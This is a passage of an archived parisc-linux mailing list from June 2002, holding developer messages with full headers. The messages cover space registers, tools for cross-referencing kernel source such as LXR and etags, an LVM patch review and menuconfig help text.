Nobody changes sr4-7 (the default space registers).  Some drivers play
with sr1.  We use sr3 to access the user's process.  There's no problem
with accessing 4GB in either the kernel or the user process (though
we limit to 3.75GB currently, i believe, just to prevent unfortunate
accidents).

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sources browsing tool?
Date: Fri, 07 Jun 2002 19:23:57 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <1023470637.3d00ec2d3a708@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621379 8562 80.91.229.3 (22 Nov 2014 01:56:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 11:23:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id A576D4836
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 11:23:58 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GNSv-0003lI-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 07 Jun 2002 19:23:57 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15043

Hi all,

Can you advise me some browsing tools which would allowing me to find quickly
where a variable, a function is define; where is used,... in this big amount
source which represent kernel now (find is not always easy).

I find well a work of reverse engineering (rigiedit) of the kernel but not for 2.4.
And unfortunately sources (tcl/tk iirc) do not seems to be available to port on
hppa. 

Thanks a lot in advance,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sources browsing tool?
Date: 07 Jun 2002 19:38:35 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1023475115.25523.47.camel@irongate.swansea.linux.org.uk>
References: <1023470637.3d00ec2d3a708@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621379 8569 80.91.229.3 (22 Nov 2014 01:56:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 11:45:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 377324844
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 11:45:10 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g57IcaDS027186;
	Fri, 7 Jun 2002 19:38:37 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g57IcZnL027184;
	Fri, 7 Jun 2002 19:38:35 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1023470637.3d00ec2d3a708@webmail.tiscalinet.be>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15044

On Fri, 2002-06-07 at 18:23, joel.soete@freebel.net wrote:
> Hi all,
> 
> Can you advise me some browsing tools which would allowing me to find quickly
> where a variable, a function is define; where is used,... in this big amount
> source which represent kernel now (find is not always easy).
> 
> I find well a work of reverse engineering (rigiedit) of the kernel but not for 2.4.
> And unfortunately sources (tcl/tk iirc) do not seems to be available to port on
> hppa. 

Try the Linux cross reference - http://lxr.linux.no




From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 7 Jun 2002 19:24:33 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20020607182433.GA7230@tykepenguin.com>
References: <1023463889.3d00d1d18be3e@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621379 8576 80.91.229.3 (22 Nov 2014 01:56:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 12:24:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5AF1483F
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 12:24:34 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17GOPZ-0001sw-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 07 Jun 2002 19:24:33 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1023463889.3d00d1d18be3e@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15045

On Fri, Jun 07, 2002 at 05:31:29PM +0200, joel.soete@freebel.net wrote:
> Hi all,
> 
> Here is attached the patch to uptdate lvm structures in ioctl32.c
> (arch/parisc/kernel).
> 
> Can somebody check in for me.
> 
> I check it (Ok) for 32bit kernel on my b180l.
> 
> Patrick,
> 
> Don't you see anything else to verify?
> 

Looks good to me. I patched it in and then diffed it against the sparc64 one and
there were no LVM differences.

patrick




From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sources browsing tool?
Date: Fri, 07 Jun 2002 15:29:14 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <3D01098A.4080007@neuronet.pitt.edu>
References: <1023470637.3d00ec2d3a708@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621380 8583 80.91.229.3 (22 Nov 2014 01:56:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 13:29:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server1.neuronet.pitt.edu (server1.neuronet.pitt.edu [150.232.128.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 359FB484C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 13:29:19 -0600 (MDT)
Original-Received: from neuronet.pitt.edu (pink.neuronet.pitt.edu [150.232.130.105])
	by server1.neuronet.pitt.edu (8.8.8/8.8.8) with ESMTP id PAA04906
	for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Jun 2002 15:29:44 -0400 (EDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020604
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15046

joel.soete@freebel.net wrote:
> Hi all,
> 
> Can you advise me some browsing tools which would allowing me to find quickly
> where a variable, a function is define; where is used,... in this big amount
> source which represent kernel now (find is not always easy).
> 
> I find well a work of reverse engineering (rigiedit) of the kernel but not for 2.4.
> And unfortunately sources (tcl/tk iirc) do not seems to be available to port on
> hppa.

If you are using Emacs as your editor, you could use TAGS to locate 
definitions, etc.
This script may need editing:

##
# Build an ETAG file of the linux kernel sources.
ARCH=parisc

find arch/$ARCH drivers fs include/{asm-$ARCH,linux,net,scsi,video} \
      init ipc kernel lib mm net -name '*.[chS]' -print | sort | etags -
##

I used this quite a while ago, when I was writing a driver. You will 
need to consult the emacs manual on how to use tags.
-- 
     Rafael




From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sources browsing tool?
Date: Fri, 7 Jun 2002 15:42:36 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20020607154236.A11883@systemhalted>
References: <1023470637.3d00ec2d3a708@webmail.tiscalinet.be> <1023475115.25523.47.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621380 8589 80.91.229.3 (22 Nov 2014 01:56:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 13:42:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 903F24855
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 13:42:38 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g57JgaU11916;
	Fri, 7 Jun 2002 15:42:36 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1023475115.25523.47.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Fri, Jun 07, 2002 at 07:38:35PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (0% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15047

> > Hi all,
> > Can you advise me some browsing tools which would allowing me to find quickly
> > where a variable, a function is define; where is used,... in this big amount
> > source which represent kernel now (find is not always easy).
> > I find well a work of reverse engineering (rigiedit) of the kernel but not for 2.4.
> > And unfortunately sources (tcl/tk iirc) do not seems to be available to port on
> > hppa. 
> 
> Try the Linux cross reference - http://lxr.linux.no
>

AAP Project has a good list:
http://www.a-a-p.org/tools_browse.html

And if you pray to emacs then 'ecb' will be of interest ;)
http://ecb.sourceforge.net/

c. 




From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel option definitions
Date: Sat, 08 Jun 2002 01:20:50 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020608072050.D98264850@dsl2.external.hp.com>
References: <200206061216.AA2625503706@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621380 8595 80.91.229.3 (22 Nov 2014 01:56:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:20 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  8 01:20:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D98264850; Sat,  8 Jun 2002 01:20:50 -0600 (MDT)
In-Reply-To: Message from "marc " <marc@centraltx.com> 
   of "Thu, 06 Jun 2002 12:16:26 CDT." <200206061216.AA2625503706@mail.centraltx.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15048

"marc " wrote:
> Where is the best place to find a detailed explanation of
> all the kernel options?

parisc-linux FAQ? one of the last questions has a URL for that.
http://www.parisc-linux.org/

grant



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel option definitions
Date: Sat,  8 Jun 2002 10:43:41 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <200206081043.AA535888100@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621381 8598 80.91.229.3 (22 Nov 2014 01:56:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:21 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: <marc@centraltx.com>,
	Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  8 09:45:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC6F1482F
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Jun 2002 09:45:42 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15049

I'm sorry, perhaps I wasn't clear, not the kernel boot parameters,
but the kernel parameters in the 'make menuconfig' part
of configuring a kernel.

-Marc

---------- Original Message ----------------------------------
From: Grant Grundler <grundler@dsl2.external.hp.com>
Date:  Sat, 08 Jun 2002 01:20:50 -0600

>"marc " wrote:
>> Where is the best place to find a detailed explanation of
>> all the kernel options?
>
>parisc-linux FAQ? one of the last questions has a URL for that.
>http://www.parisc-linux.org/
>
>grant
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel option definitions
Date: Sat, 8 Jun 2002 18:02:47 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020608180247.Q27186@parcelfarce.linux.theplanet.co.uk>
References: <200206081043.AA535888100@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621381 8605 80.91.229.3 (22 Nov 2014 01:56:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:21 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  8 11:02:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C07F4837
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Jun 2002 11:02:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Gjbz-0006LO-00; Sat, 08 Jun 2002 18:02:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206081043.AA535888100@mail.centraltx.com>; from marc@centraltx.com on Sat, Jun 08, 2002 at 10:43:41AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15050

On Sat, Jun 08, 2002 at 10:43:41AM -0500, marc  wrote:
> I'm sorry, perhaps I wasn't clear, not the kernel boot parameters,
> but the kernel parameters in the 'make menuconfig' part
> of configuring a kernel.

each option has helptext associated with it.  iirc, in menuconfig,
you press ?  to access it.  or maybe it's `h'.  i don't use menuconfig
myself any more.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel option definitions
Date: Sat, 08 Jun 2002 13:06:51 -0400
Organization: LCN
Lines: 15
Approved: news@gmane.org
Message-ID: <3D0239AB.90403@neuronet.pitt.edu>
References: <200206081043.AA535888100@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621381 8610 80.91.229.3 (22 Nov 2014 01:56:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  8 11:06:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.mx.pitdc1.stargate.net (smtp1.mx.pitdc1.stargate.net [206.210.69.141])
	by dsl2.external.hp.com (Postfix) with SMTP id 9A65D4848
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Jun 2002 11:06:54 -0600 (MDT)
Original-Received: (qmail 24850 invoked from network); 8 Jun 2002 17:06:52 -0000
Original-Received: from ipl-172-002.pppoe.stargate.net (HELO neuronet.pitt.edu) (208.40.172.2)
  by smtp1.mx.pitdc1.stargate.net with SMTP; 8 Jun 2002 17:06:52 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020604
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15051

marc wrote:
> I'm sorry, perhaps I wasn't clear, not the kernel boot parameters,
> but the kernel parameters in the 'make menuconfig' part
> of configuring a kernel.

Select the "Help" option in menuconfig for a description of the option 
currently highlighted. As for a detailed description you would have to 
read the source code or browse the Documentation directory in the kernel 
sources.

-- 
      Rafael




From - Thu Nov 08 21:23:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712-60 XFree86 mouse driver problems
Date: Sun, 9 Jun 2002 11:57:24 +0300 (EEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206091151160.26092-100000__47554.0763968185$1416621382$gmane$org@hal.pp.fishpool.fi>
References: <Pine.LNX.4.44.0206051039560.1815-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621382 8617 80.91.229.3 (22 Nov 2014 01:56:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:22 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  9 02:57:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05F2E482B
	for <parisc-linux@parisc-linux.org>; Sun,  9 Jun 2002 02:57:42 -0600 (MDT)
